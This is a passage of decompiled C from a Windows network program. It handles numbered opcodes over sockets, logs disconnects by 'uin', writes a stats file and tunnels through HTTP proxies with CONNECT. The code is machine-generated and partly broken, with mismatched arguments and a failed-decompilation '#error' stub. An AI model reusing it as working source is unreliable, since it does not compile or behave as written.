                v253 = (signed int)&ST40_4_0;
                LOBYTE(ST40_4_0) = 0;
                do
                  v159 = *v99++;
                while ( v159 );
                setLoginHost(&Dest, v99 - v241, (int)&ST40_4_0);
                v103 = sub_40D3E0((int)&v194, ST40_4_0, ST44_4_0, ST48_4_0, v57, ST50_4_0, ST54_4_0, v27);
                if ( v103 <= 0 )
                  continue;
                v105 = 368 * v103;
                v160 = *(_DWORD *)(368 * v103 + v252 + 180) < 0x10u;
                v104 = 368 * v103 + v252 + 160;
                if ( !v160 )
                  v104 = *(_DWORD *)v104;
                v107 = Memory;
                ST58_4_0 = (void *)v104;
                sub_408AC0(v27);
                v106 = (int)(v107 + 9);
                do
                  v161 = *(_BYTE *)v106++;
                while ( v161 );
                v162 = *(_DWORD *)(v105 + v252 + 208) < 0x10u;
                v163 = (unsigned __int16)(v106 - (_DWORD)(v107 + 10));
                v109 = v105 + v252 + 188;
                v205 = v163;
                if ( !v162 )
                  v109 = *(_DWORD *)v109;
                ST58_4_0 = (void *)v109;
                sub_408AC0(v108);
                *(_BYTE *)v246 = v205;
                v110 = (int)(v107 + 9);
                do
                  v164 = *(_BYTE *)v110++;
                while ( v164 );
                v165 = (unsigned __int16)(v110 - (_DWORD)(v107 + 10));
                v205 = v165++;
                *((_WORD *)v107 + 3) = v165;
                ST58_4_0 = 0;
                ST54_4_0 = (unsigned __int16)v165 + 8;
                *((_WORD *)v107 + 2) = 25;
                ST50_4_0 = (int)v107;
                goto LABEL_110;
              case 0x1Au:
                v166 = strlen((const char *)v246);
                v167 = DstBuf;
                ST58_4_0 = (void *)v246;
                sub_408B30((int)DstBuf, (const char *)v27);
                v168 = (int)&v167[v166 + 1];
                ST58_4_0 = &v26[v166 + 9];
                sub_408B30(v168, v169);
                ST54_4_0 = 15;
                ST50_4_0 = 0;
                v253 = (signed int)&ST40_4_0;
                LOBYTE(ST40_4_0) = 0;
                setLoginHost((const void *)v168, strlen((const char *)v168), (int)&ST40_4_0);
                LOBYTE(v203) = 13;
                ST38_4_0 = 15;
                ST34_4_0 = 0;
                v251 = &ST24_4_0;
                LOBYTE(ST24_4_0) = 0;
                setLoginHost(DstBuf, strlen(DstBuf), (int)&ST24_4_0);
                LOBYTE(v203) = 3;
                sub_406BA0(
                  ST24_4_0,
                  ST28_4_0,
                  ST2C_4_0,
                  ST30_4_0,
                  ST34_4_0,
                  ST38_4_0,
                  ST3C_4_0,
                  ST40_4_0,
                  ST44_4_0,
                  ST48_4_0,
                  v57,
                  ST50_4_0,
                  ST54_4_0,
                  v27);
                break;
              case 0x1Eu:
                if ( *(_BYTE *)v246 < 5 )
                {
                  ST58_4_0 = (void *)*(_BYTE *)v246;
                  ST54_4_0 = (int)&v194;
                  sub_40D550(ST54_4_0, v27);
                }
                break;
              case 0x21u:
                v26[*((_WORD *)v26 + 3) + 8] = 0;
                ST58_4_0 = *(void **)v26;
                ST54_4_0 = (int)"%u";
                ST50_4_0 = (int)&Dest;
                sprintf((char *)ST50_4_0, (const char *)ST54_4_0);
                v112 = &Dest;
                ST54_4_0 = 15;
                ST50_4_0 = 0;
                v253 = (signed int)&ST40_4_0;
                LOBYTE(ST40_4_0) = 0;
                do
                  v170 = *v112++;
                while ( v170 );
                setLoginHost(&Dest, v112 - v241, (int)&ST40_4_0);
                sub_40CE20((int)&v194, (int)&v205, ST40_4_0, ST44_4_0, ST48_4_0, v57, ST50_4_0, ST54_4_0, v27);
                if ( (_WORD)v205 )
                {
                  ST58_4_0 = (void *)(unsigned __int16)v205;
                  ST54_4_0 = 0;
                  ST50_4_0 = (int)"Error! Expected %d, got %d";
                  ST4C_4_0 = v246;
                  v171 = sprintf((char *)v57, (const char *)ST50_4_0, ST54_4_0, v111);
                  *((_WORD *)v26 + 3) = v171;
                  ST58_4_0 = 0;
                  *((_WORD *)v26 + 2) = 6;
                  ST54_4_0 = v171 + 8;
                }
                else
                {
                  ST58_4_0 = 0;
                  *((_DWORD *)v26 + 1) = 34;
                  ST54_4_0 = 8;
                }
                ST50_4_0 = (int)v26;
LABEL_110:
                ST4C_4_0 = s;
                total_sent += send(v57, (const char *)ST50_4_0, ST54_4_0, v27);
                break;
              case 1u:
              case 3u:
              case 4u:
              case 5u:
              case 6u:
              case 7u:
              case 8u:
              case 9u:
              case 0xDu:
              case 0x10u:
              case 0x11u:
              case 0x13u:
              case 0x14u:
              case 0x15u:
              case 0x19u:
              case 0x1Cu:
              case 0x1Du:
              case 0x1Fu:
              case 0x20u:
                ST58_4_0 = (void *)*((_WORD *)v26 + 2);
                ST54_4_0 = (int)"Unknown opcode %u";
                ST50_4_0 = v246;
                goto LABEL_112;
            }
          }
          else
          {
            ST58_4_0 = (void *)*((_WORD *)v26 + 2);
            ST54_4_0 = (int)"Unknown opcode %u";
            ST50_4_0 = v246;
LABEL_112:
            v172 = sprintf((char *)ST50_4_0, (const char *)ST54_4_0, v27);
            *((_WORD *)v26 + 3) = v172;
            ST58_4_0 = 0;
            ST54_4_0 = v172 + 8;
            ST50_4_0 = (int)v26;
            ST4C_4_0 = v61;
            *((_WORD *)v26 + 2) = 6;
            total_sent += send(v57, (const char *)ST50_4_0, ST54_4_0, v27);
          }
        }
      }
    }
    v26 = Memory;
  }
  else
  {
    ST58_4_0 = v256;
    ST54_4_0 = (int)"Connect failed at %d%%";
    ST50_4_0 = (int)(v26 + 8);
    sprintf((char *)v29, (const char *)v35, v36);
    v63 = (int)(v26 + 8);
    do
      v140 = *(_BYTE *)v63++;
    while ( v140 );
    v141 = v63 - (_DWORD)(v26 + 9);
    *((_WORD *)v26 + 3) = v141;
    ST58_4_0 = 0;
    ST54_4_0 = (unsigned __int16)v141 + 8;
    ST50_4_0 = (int)v26;
    ST4C_4_0 = s;
    *(_DWORD *)v26 = 0;
    *((_WORD *)v26 + 2) = 6;
    total_sent += send(ST4C_4_0, (const char *)ST50_4_0, ST54_4_0, v66);
    ST58_4_0 = (void *)1000;
    dword_42100C(v27);
  }
LABEL_129:
  v25 = 0;
LABEL_130:
  ST58_4_0 = (void *)*((_WORD *)v192 + 5);
  v175 = (void *)htons_0(v27);
  ST58_4_0 = (void *)*(v192 + 3);
  v177 = inet_ntoa(v176);
  ST58_4_0 = v175;
  ST54_4_0 = (int)v177;
  ST50_4_0 = (int)"Disconnect from %s:%i\n";
  printf((const char *)ST50_4_0, ST54_4_0, v178);
  ST58_4_0 = *(void **)v26;
  ST54_4_0 = v25;
  ST50_4_0 = (int)"Thread %X (uin %u) received disconnect!\n";
  printf(v179, v180, v181);
  v182 = s;
  ST58_4_0 = (void *)2;
  ST54_4_0 = s;
  shutdown(v183, v184);
  ST58_4_0 = (void *)v182;
  closesocket(v185);
  ST58_4_0 = v26;
  free(v186);
  ST58_4_0 = DstBuf;
  free(v187);
  ST58_4_0 = dword_4266F8;
  dword_421010(v188);
  --dword_426724;
  sub_408770(v189);
  ST58_4_0 = dword_4266F8;
  dword_42101C(v115);
  if ( (unsigned int)v232 >= 0x10 )
  {
    ST58_4_0 = v234;
    operator delete(v115);
  }
  v232 = 15;
  v233 = v25;
  LOBYTE(v234) = v25;
  if ( (unsigned int)v229 >= 0x10 )
  {
    ST58_4_0 = v231;
    operator delete(v115);
  }
  v229 = 15;
  v230 = v25;
  LOBYTE(v231) = v25;
  sub_4085A0((int)&v214);
  *(_DWORD *)&v194 = &off_421F5C;
  v203 = 14;
  if ( v197 != (void *)v25 )
  {
    std___Container_base12____Container_base12(&v197);
    ST58_4_0 = v197;
    operator delete(v115);
  }
  v197 = (void *)v25;
  v198 = v25;
  v199 = v25;
  v203 = -1;
  sub_40AEB0((int)&v194);
  return 0;
}

//----- (004085A0) --------------------------------------------------------
int __usercall sub_4085A0<eax>(int a1<esi>)
{
  int result; // eax@2

  if ( *(_DWORD *)(a1 + 132) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 112));
  *(_DWORD *)(a1 + 132) = 15;
  *(_DWORD *)(a1 + 128) = 0;
  *(_BYTE *)(a1 + 112) = 0;
  if ( *(_DWORD *)(a1 + 104) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 84));
  *(_DWORD *)(a1 + 104) = 15;
  *(_DWORD *)(a1 + 100) = 0;
  *(_BYTE *)(a1 + 84) = 0;
  if ( *(_DWORD *)(a1 + 76) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 56));
  *(_DWORD *)(a1 + 76) = 15;
  *(_DWORD *)(a1 + 72) = 0;
  *(_BYTE *)(a1 + 56) = 0;
  if ( *(_DWORD *)(a1 + 48) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 28));
  *(_DWORD *)(a1 + 48) = 15;
  *(_DWORD *)(a1 + 44) = 0;
  *(_BYTE *)(a1 + 28) = 0;
  if ( *(_DWORD *)(a1 + 20) >= 0x10u )
    result = operator delete(*(_DWORD *)a1);
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  return result;
}

//----- (00408640) --------------------------------------------------------
int __usercall sub_408640<eax>(int a1<edi>, int a2<esi>)
{
  sub_401600(a2, -1, 0, a1);
  sub_401600(a2 + 28, -1, 0, a1 + 28);
  *(_BYTE *)(a2 + 56) = *(_BYTE *)(a1 + 56);
  *(_BYTE *)(a2 + 57) = *(_BYTE *)(a1 + 57);
  *(_BYTE *)(a2 + 58) = *(_BYTE *)(a1 + 58);
  *(_BYTE *)(a2 + 59) = *(_BYTE *)(a1 + 59);
  *(_BYTE *)(a2 + 60) = *(_BYTE *)(a1 + 60);
  *(_BYTE *)(a2 + 61) = *(_BYTE *)(a1 + 61);
  *(_BYTE *)(a2 + 62) = *(_BYTE *)(a1 + 62);
  *(_BYTE *)(a2 + 63) = *(_BYTE *)(a1 + 63);
  *(_DWORD *)(a2 + 64) = *(_DWORD *)(a1 + 64);
  *(_WORD *)(a2 + 68) = *(_WORD *)(a1 + 68);
  *(_BYTE *)(a2 + 70) = *(_BYTE *)(a1 + 70);
  *(_DWORD *)(a2 + 72) = *(_DWORD *)(a1 + 72);
  *(_DWORD *)(a2 + 76) = *(_DWORD *)(a1 + 76);
  *(_DWORD *)(a2 + 80) = *(_DWORD *)(a1 + 80);
  return a2;
}

//----- (004086C0) --------------------------------------------------------
int __userpurge sub_4086C0<eax>(int a1<edi>, int a2)
{
  int ST00_4_0; // ST00_4@0
  int v4; // esi@1
  int v5; // [sp+18h] [bp-4h]@1

  v4 = a2;
  *(_DWORD *)(a2 + 20) = 15;
  *(_DWORD *)(a2 + 16) = 0;
  *(_BYTE *)a2 = 0;
  sub_401600(a2, -1, 0, ST00_4_0);
  v5 = 0;
  *(_DWORD *)(v4 + 44) = 0;
  *(_DWORD *)(v4 + 48) = 15;
  *(_BYTE *)(v4 + 28) = 0;
  sub_401600(v4 + 28, -1, 0, a1 + 28);
  *(_DWORD *)(v4 + 56) = *(_DWORD *)(a1 + 56);
  *(_DWORD *)(v4 + 60) = *(_DWORD *)(a1 + 60);
  *(_DWORD *)(v4 + 64) = *(_DWORD *)(a1 + 64);
  *(_WORD *)(v4 + 68) = *(_WORD *)(a1 + 68);
  *(_BYTE *)(v4 + 70) = *(_BYTE *)(a1 + 70);
  *(_DWORD *)(v4 + 72) = *(_DWORD *)(a1 + 72);
  *(_DWORD *)(v4 + 76) = *(_DWORD *)(a1 + 76);
  *(_DWORD *)(v4 + 80) = *(_DWORD *)(a1 + 80);
  return v4;
}

//----- (00408770) --------------------------------------------------------
void __fastcall sub_408770(size_t a1)
{
  FILE *v1; // eax@2
  FILE *v2; // edi@2
  __int32 v3; // esi@3
  void *v4; // eax@3
  void *v5; // ebx@3
  void *v6; // eax@3
  char *v7; // edi@3
  FILE *v8; // eax@3
  FILE *v9; // esi@3
  size_t Size; // [sp+0h] [bp-4h]@1

  Size = a1;
  if ( Memory )
  {
    v1 = fopen("stat_template.txt", "rb");
    v2 = v1;
    if ( v1 )
    {
      fseek(v1, 0, 2);
      v3 = ftell(v2);
      fseek(v2, 0, 0);
      v4 = malloc(v3 + 1);
      v5 = v4;
      memset(v4, 0, v3 + 1);
      fread(v5, v3, 1u, v2);
      fclose(v2);
      v3 += 17;
      v6 = malloc(v3);
      v7 = (char *)v6;
      memset(v6, 0, v3);
      sprintf(v7, (const char *)v5, dword_426724);
      Size = strlen(v7);
      v8 = fopen((const char *)Memory, "wb");
      v9 = v8;
      fwrite(v7, Size, 1u, v8);
      fclose(v9);
      free(v5);
      free(v7);
    }
    else
    {
      printf("Cannot open template, exiting...\n");
    }
  }
}

//----- (00408880) --------------------------------------------------------
signed int __usercall recv_packet<eax>(char *buf<ecx>, int a2<edx>, SOCKET a3<esi>, __int32 a4)
{
  char *v3; // edi@1
  int v4; // eax@3
  u_long v6; // eax@11
  int v7; // eax@15
  int v8; // eax@16
  u_long v9; // edi@22
  int v10; // eax@24
  int v11; // edi@25
  int  s; // [sp+134h] [bp+0h]@1
  unsigned int v13; // [sp+12Ch] [bp-8h]@1
  u_long len; // [sp+1Ch] [bp-118h]@1
  struct timeval timeout; // [sp+10h] [bp-124h]@3
  fd_set readfds; // [sp+20h] [bp-114h]@3
  char *buf; // [sp+Ch] [bp-128h]@13
  u_long v19; // [sp+18h] [bp-11Ch]@13

  v13 = (unsigned int)& s ^ dword_426018;
  v3 = buf;
  len = 0;
  if ( !ioctlsocket(a3, 1074030207, &len) )
  {
    if ( (signed int)len < 8 )
    {
      timeout.tv_sec = a4;
      timeout.tv_usec = 10000;
      readfds.fd_array[0] = a3;
      readfds.fd_count = 1;
      v4 = select(a3 + 1, &readfds, 0, 0, &timeout);
      if ( !v4 )
        return 0;
      if ( v4 < 0 || !_WSAFDIsSet(a3, &readfds) || (len = 0, ioctlsocket(a3, 1074030207, &len)) )
        return -1;
      if ( !len || (signed int)len < 8 )
        return 0;
    }
    if ( recv(a3, v3, 8, 0) == 8 )
    {
      v6 = *((_WORD *)v3 + 3);
      if ( (_WORD)v6 <= 0x4000u )
      {
        if ( !(_WORD)v6 || (buf = v3 + 8, v19 = v6, v6 <= 0) )
          return 1;
        while ( 1 )
        {
          len = 0;
          if ( ioctlsocket(a3, 1074030207, &len) )
            break;
          v7 = len;
          if ( !len )
          {
            timeout.tv_sec = 120;
            timeout.tv_usec = 0;
            readfds.fd_array[0] = a3;
            readfds.fd_count = 1;
            v8 = select(a3 + 1, &readfds, 0, 0, &timeout);
            if ( !v8 || v8 < 0 || !_WSAFDIsSet(a3, &readfds) || (len = 0, ioctlsocket(a3, 1074030207, &len)) )
              return -1;
            v7 = len;
          }
          if ( v7 < 1 )
            return -1;
          v9 = v19;
          if ( v7 > v19 )
          {
            v7 = v19;
            len = v19;
          }
          v10 = recv(a3, buf, v7, 0);
          if ( v10 <= 0 )
            return -1;
          v11 = v9 - v10;
          v19 = v11;
          if ( !v11 )
            return 1;
        }
      }
    }
  }
  return -1;
}

//----- (00408AC0) --------------------------------------------------------
#error "408B02: positive sp value has been found (funcsize=26)"

//----- (00408B30) --------------------------------------------------------
int __usercall sub_408B30<eax>(int a1<ebx>, const char *a2)
{
  unsigned int v3; // eax@1
  int v4; // esi@1
  void *v5; // eax@1
  void *v6; // edi@1

  v3 = strlen(a2);
  v4 = v3 + 1;
  v5 = malloc(2 * (v3 + 1));
  v6 = v5;
  dword_421008(1251, 0, a2, -1, v5, v4, 0, 0);
  dword_421014(65001, 0, v6, -1, a1, v4);
  return a1;
}

//----- (00408B90) --------------------------------------------------------
int __userpurge sub_408B90<eax>(int a1<esi>, int a2, int a3, int a4, int a5, int a6, signed int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, signed int a15, int a16, int a17, int a18, int a19, int a20, int a21, unsigned int a22, int a23)
{
  int v2; // [sp+Ch] [bp-2Ch]@1
  int v3; // [sp+34h] [bp-4h]@1
  int v4; // [sp+20h] [bp-18h]@1
  int v5; // [sp+10h] [bp-28h]@1
  signed int v6; // [sp+24h] [bp-14h]@1

  v2 = a1;
  v3 = 0;
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  *(_DWORD *)(a1 + 52) = 15;
  *(_DWORD *)(a1 + 48) = 0;
  *(_BYTE *)(a1 + 32) = 0;
  *(_DWORD *)(a1 + 80) = 15;
  *(_DWORD *)(a1 + 76) = 0;
  *(_BYTE *)(a1 + 60) = 0;
  *(_DWORD *)(a1 + 108) = 15;
  *(_DWORD *)(a1 + 104) = 0;
  *(_BYTE *)(a1 + 88) = 0;
  LOBYTE(v3) = 6;
  v4 = 0;
  LOBYTE(v5) = 0;
  v6 = 15;
  sub_401600((int)&v5, -1, 0, (int)&a2);
  LOBYTE(v3) = 7;
  sub_401600(a1, -1, 0, (int)&v5);
  LOBYTE(v3) = 6;
  if ( (unsigned int)v6 >= 0x10 )
    operator delete(v5);
  *(_DWORD *)(a1 + 28) = a9;
  v4 = 0;
  LOBYTE(v5) = 0;
  v6 = 15;
  sub_401600((int)&v5, -1, 0, (int)&a10);
  LOBYTE(v3) = 8;
  sub_401600(a1 + 32, -1, 0, (int)&v5);
  LOBYTE(v3) = 6;
  if ( (unsigned int)v6 >= 0x10 )
    operator delete(v5);
  v4 = 0;
  LOBYTE(v5) = 0;
  v6 = 15;
  sub_401600((int)&v5, -1, 0, (int)&a17);
  LOBYTE(v3) = 9;
  sub_401600(a1 + 60, -1, 0, (int)&v5);
  if ( (unsigned int)v6 >= 0x10 )
    operator delete(v5);
  if ( (unsigned int)a7 >= 0x10 )
    operator delete(a2);
  a7 = 15;
  a6 = 0;
  LOBYTE(a2) = 0;
  if ( (unsigned int)a15 >= 0x10 )
    operator delete(a10);
  a15 = 15;
  a14 = 0;
  LOBYTE(a10) = 0;
  if ( a22 >= 0x10 )
    operator delete(a17);
  return a1;
}

//----- (00408D30) --------------------------------------------------------
int __usercall sub_408D30<eax>(int a1<esi>)
{
  int result; // eax@2

  if ( *(_DWORD *)(a1 + 108) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 88));
  *(_DWORD *)(a1 + 108) = 15;
  *(_DWORD *)(a1 + 104) = 0;
  *(_BYTE *)(a1 + 88) = 0;
  if ( *(_DWORD *)(a1 + 80) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 60));
  *(_DWORD *)(a1 + 80) = 15;
  *(_DWORD *)(a1 + 76) = 0;
  *(_BYTE *)(a1 + 60) = 0;
  if ( *(_DWORD *)(a1 + 52) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 32));
  *(_DWORD *)(a1 + 52) = 15;
  *(_DWORD *)(a1 + 48) = 0;
  *(_BYTE *)(a1 + 32) = 0;
  if ( *(_DWORD *)(a1 + 20) >= 0x10u )
    result = operator delete(*(_DWORD *)a1);
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  return result;
}

//----- (00408DB0) --------------------------------------------------------
signed int __thiscall sub_408DB0(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9)
{
  int v9; // edi@1
  signed int result; // eax@4
  signed int v11; // edi@8
  int v12; // [sp+14h] [bp-4h]@1

  v9 = this;
  v12 = 0;
  sub_401600(this + 88, -1, 0, (int)&a2);
  *(_DWORD *)(v9 + 116) = a9;
  if ( !sub_408E90(v9) )
  {
    if ( a7 >= 0x10 )
      operator delete(a2);
    return -1;
  }
  if ( sub_409360(v9) )
  {
    v11 = *(_DWORD *)(v9 + 120);
    if ( a7 >= 0x10 )
      operator delete(a2);
    result = v11;
  }
  else
  {
    if ( a7 < 0x10 )
      return -1;
    operator delete(a2);
    result = -1;
  }
  return result;
}

//----- (00408E90) --------------------------------------------------------
char __usercall sub_408E90<al>(int a1<edi>)
{
  const char *v1; // eax@2
  struct hostent *v2; // eax@4
  signed int v3; // eax@6
  u_short v5; // ST08_2@6
  int  s; // [sp+20h] [bp+0h]@1
  unsigned int v7; // [sp+1Ch] [bp-4h]@1
  struct sockaddr name; // [sp+Ch] [bp-14h]@6
  signed int v9; // [sp+8h] [bp-18h]@7

  v7 = (unsigned int)& s ^ dword_426018;
  if ( *(_DWORD *)(a1 + 20) < 0x10u )
    v1 = (const char *)a1;
  else
    v1 = *(const char **)a1;
  v2 = gethostbyname(v1);
  if ( !v2
    || !*v2->h_addr_list
    || (*(_DWORD *)&name.sa_data[2] = 0, *(_DWORD *)&name.sa_family = 0, *(_DWORD *)&name.sa_data[6] = 0, *(_DWORD *)&name.sa_data[10] = 0, v5 = *(_WORD *)(a1 + 28), *(_DWORD *)&name.sa_data[2] = **(_DWORD **)v2->h_addr_list, *(_WORD *)&name.sa_data[0] = htons(v5), name.sa_family = 2, v3 = socket(2, 1, 0), *(_DWORD *)(a1 + 120) = v3, v3 == -1) )
    return 0;
  v9 = 30000;
  if ( sub_41D3A0(&name, (int)&v9, v3) )
  {
    closesocket(*(_DWORD *)(a1 + 120));
    *(_DWORD *)(a1 + 120) = -1;
    return 0;
  }
  return 1;
}

//----- (00408F70) --------------------------------------------------------
int __fastcall sub_408F70(int a1, int a2)
{
  int v2; // ebx@1
  int v3; // esi@1
  int v4; // edi@3
  int v5; // edx@4
  char v6; // zf@6
  int v7; // eax@6
  int v8; // edi@9
  int v9; // edx@10
  char v10; // zf@12
  int v11; // eax@12
  int v12; // eax@15
  unsigned int v13; // ecx@15
  const char *v15; // ST1C_4@1
  int v16; // eax@1
  int v17; // eax@1
  int v18; // eax@1
  int v19; // eax@1
  int v20; // eax@1
  int v21; // eax@1
  int v22; // eax@1
  int v23; // eax@1
  int v24; // eax@1
  char v25; // cf@3
  int v26; // eax@15
  int v27; // eax@21
  int v28; // eax@21
  int v29; // edx@27
  int  s; // [sp+114h] [bp+0h]@1
  unsigned int v31; // [sp+104h] [bp-10h]@1
  int v32; // [sp+A4h] [bp-70h]@1
  signed int v33; // [sp+110h] [bp-4h]@1
  signed int v34; // [sp+A8h] [bp-6Ch]@1
  int v35; // [sp+Ch] [bp-108h]@1
  int v36; // [sp+E8h] [bp-2Ch]@1
  signed int v37; // [sp+FCh] [bp-18h]@1
  int v38; // [sp+ACh] [bp-68h]@3
  signed int v39; // [sp+E0h] [bp-34h]@15
  int v40; // [sp+DCh] [bp-38h]@15
  int v41; // [sp+CCh] [bp-48h]@15
  int v42; // [sp+B0h] [bp-64h]@15
  int v43; // [sp+F8h] [bp-1Ch]@19
  unsigned int v44; // [sp+C4h] [bp-50h]@19
  char v45; // [sp+5Ch] [bp-B8h]@27
  char v46; // [sp+10h] [bp-104h]@27

  v31 = (unsigned int)& s ^ dword_426018;
  v3 = a2;
  *(_DWORD *)(a2 + 20) = 15;
  *(_DWORD *)(a2 + 16) = 0;
  v2 = a1;
  v32 = a2;
  *(_BYTE *)a2 = 0;
  v33 = 0;
  v34 = 1;
  sub_409540((int)&v35);
  v33 = 1;
  v15 = *(const char **)(v2 + 116);
  v16 = sub_409E90((int)&v35, "CONNECT ");
  v17 = sub_40A0E0(v16, v2 + 88);
  v18 = sub_409E90(v17, (const char *)L":");
  v19 = std__basic_ostream_char_std__char_traits_char____operator__(v18);
  sub_409E90(v19, v15);
  v20 = sub_409E90((int)&v35, "Host: ");
  v21 = sub_40A0E0(v20, v2 + 88);
  v22 = sub_409E90(v21, (const char *)L":");
  v23 = std__basic_ostream_char_std__char_traits_char____operator__(v22);
  sub_409E90(v23, (const char *)((unsigned int)& s ^ dword_426018));
  v24 = sub_4095F0((int)&v35, (int)&v36);
  LOBYTE(v33) = 2;
  sub_4019A0(v24, v3);
  LOBYTE(v33) = 1;
  if ( (unsigned int)v37 >= 0x10 )
    operator delete(v36);
  v25 = *(_DWORD *)(v2 + 52) < 0x10u;
  v4 = *(_DWORD *)(v2 + 48);
  v38 = v2 + 32;
  if ( v25 )
    v5 = v2 + 32;
  else
    v5 = *(_DWORD *)(v2 + 32);
  v7 = sub_401F10(0, v5, (int)byte_4212B9);
  v6 = v7 == 0;
  if ( !v7 )
  {
    LOBYTE(v7) = v4 != 0;
    v6 = v7 == 0;
  }
  if ( v6 == 0 )
  {
    v8 = *(_DWORD *)(v2 + 76);
    if ( *(_DWORD *)(v2 + 80) < 0x10u )
      v9 = v2 + 60;
    else
      v9 = *(_DWORD *)(v2 + 60);
    v11 = sub_401F10(0, v9, (int)byte_4212B9);
    v10 = v11 == 0;
    if ( !v11 )
    {
      LOBYTE(v11) = v8 != 0;
      v10 = v11 == 0;
    }
    if ( v10 == 0 )
    {
      v39 = 15;
      v40 = 0;
      LOBYTE(v41) = 0;
      LOBYTE(v33) = 3;
      v26 = sub_40A310((int)&v42, v38);
      LOBYTE(v33) = 4;
      v12 = sub_40A3D0(v2 + 60, v26, (int)&v36);
      LOBYTE(v33) = 5;
      v13 = *(_DWORD *)(v12 + 16);
      if ( *(_DWORD *)(v12 + 20) >= 0x10u )
        v12 = *(_DWORD *)v12;
      sub_401040((int)&v41, v12, v13);
      if ( (unsigned int)v37 >= 0x10 )
        operator delete(v36);
      LOBYTE(v33) = 3;
      v37 = 15;
      v43 = 0;
      LOBYTE(v36) = 0;
      if ( v44 >= 0x10 )
        operator delete(v42);
      v27 = sub_40A410((int)&v42, (int)&v41);
      LOBYTE(v33) = 6;
      v28 = sub_40A4D0((int)&v36, v27);
      LOBYTE(v33) = 7;
      sub_401510(0xFFFFFFFFu, v3, v28, 0);
      if ( (unsigned int)v37 >= 0x10 )
        operator delete(v36);
      v37 = 15;
      v43 = 0;
      LOBYTE(v36) = 0;
      if ( v44 >= 0x10 )
        operator delete(v42);
      LOBYTE(v33) = 1;
      if ( (unsigned int)v39 >= 0x10 )
        operator delete(v41);
    }
  }
  sub_401270(v3, "\r\n", 2u);
  v29 = *(_DWORD *)(v35 + 4);
  v38 = (int)&v45;
  *(int *)((char *)&v35 + v29) = (int)&off_42191C;
  v33 = 8;
  sub_409610((int)&v46);
  LOBYTE(v33) = 0;
  *(int *)((char *)&v35 + *(_DWORD *)(v35 + 4)) = (int)std__basic_ostream_char_std__char_traits_char_____vftable_;
  std__basic_ios_char_std__char_traits_char_____basic_ios_char_std__char_traits_char__();
  return v3;
}

//----- (00409310) --------------------------------------------------------
char __stdcall sub_409310(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7)
{
  char result; // al@4

  if ( sub_4059A0(0, (int)&a1, (int)"HTTP/1.0 200 ", 0xDu) )
  {
    if ( a6 >= 0x10 )
      operator delete(a1);
    result = 0;
  }
  else
  {
    if ( a6 >= 0x10 )
      operator delete(a1);
    result = 1;
  }
  return result;
}

//----- (00409360) --------------------------------------------------------
char __usercall sub_409360<al>(int a1<ebx>)
{
  int ST1004_4_0; // ST1004_4@0
  int ST1008_4_0; // ST1008_4@0
  int ST100C_4_0; // ST100C_4@0
  int ST1010_4_0; // ST1010_4@0
  void *ST1014_4_0; // ST1014_4@0
  int ST1018_4_0; // ST1018_4@0
  signed int ST101C_4_0; // ST101C_4@0
  int *v8; // eax@1
  int v9; // edx@1
  int v10; // ST1018_4@3
  SOCKET v11; // ST101C_4@3
  int v12; // ST101C_4@4
  char result; // al@6
  int v14; // ST1014_4@7
  unsigned int v15; // ST1018_4@7
  unsigned int v16; // ST101C_4@7
  int v17; // ST101C_4@8
  int *v18; // eax@10
  SOCKET v19; // ST101C_4@12
  int v20; // ST101C_4@13
  SOCKET v21; // edi@3
  char v22; // cf@4
  SOCKET v23; // edi@7
  char v24; // cf@8
  char v25; // cl@11
  char v26; // cf@13
  int  s; // [sp+1038h] [bp+0h]@1
  unsigned int v28; // [sp+1020h] [bp-18h]@1
  int v29; // [sp+4h] [bp-1034h]@1
  int v30; // [sp+1034h] [bp-4h]@1
  unsigned int v31; // [sp+18h] [bp-1020h]@1
  int v32; // [sp+0h] [bp-1038h]@3
  int len; // [sp+14h] [bp-1024h]@3
  _BYTE v34[4104]; // [sp+20h] [bp-1018h]@7

  sub_41E310(0x1030u);
  v28 = (unsigned int)& s ^ dword_426018;
  sub_408F70(a1, (int)&v29);
  v30 = 0;
  v8 = (int *)v29;
  if ( v31 < 0x10 )
    v8 = &v29;
  v21 = *(_DWORD *)(a1 + 120);
  ST101C_4_0 = (signed int)&v32;
  ST1018_4_0 = (int)v8;
  if ( sub_41D5F0(len, v9, v21, ST1018_4_0, ST101C_4_0) != len )
  {
    ST101C_4_0 = *(_DWORD *)(a1 + 120);
    closesocket(v11);
    v22 = v31 < 0x10;
    *(_DWORD *)(a1 + 120) = -1;
    if ( !v22 )
    {
      ST101C_4_0 = v29;
      operator delete(v12);
    }
    return 0;
  }
  ST101C_4_0 = 4096;
  ST1018_4_0 = 0;
  ST1014_4_0 = &v34[1];
  v34[0] = 0;
  memset(ST1014_4_0, v10, v11);
  v23 = *(_DWORD *)(a1 + 120);
  ST101C_4_0 = 0;
  ST1018_4_0 = (int)&v32;
  ST1014_4_0 = v34;
  if ( sub_41D7D0(4096, (int)&v32, v23, v14, v15, v16) <= 0 )
  {
    ST101C_4_0 = *(_DWORD *)(a1 + 120);
    closesocket(v16);
    v24 = v31 < 0x10;
    *(_DWORD *)(a1 + 120) = -1;
    if ( !v24 )
    {
      ST101C_4_0 = v29;
      operator delete(v17);
      return 0;
    }
    return 0;
  }
  v18 = (int *)v34;
  ST1018_4_0 = 15;
  ST1014_4_0 = 0;
  LOBYTE(ST1004_4_0) = 0;
  do
  {
    v25 = *(_BYTE *)v18;
    v18 = (int *)((char *)v18 + 1);
  }
  while ( v25 );
  setLoginHost(v34, (char *)v18 - &v34[1], (int)&ST1004_4_0);
  if ( sub_409310(ST1004_4_0, ST1008_4_0, ST100C_4_0, ST1010_4_0, v14, v15, v16) )
  {
    if ( v31 >= 0x10 )
    {
      ST101C_4_0 = v29;
      operator delete(v19);
    }
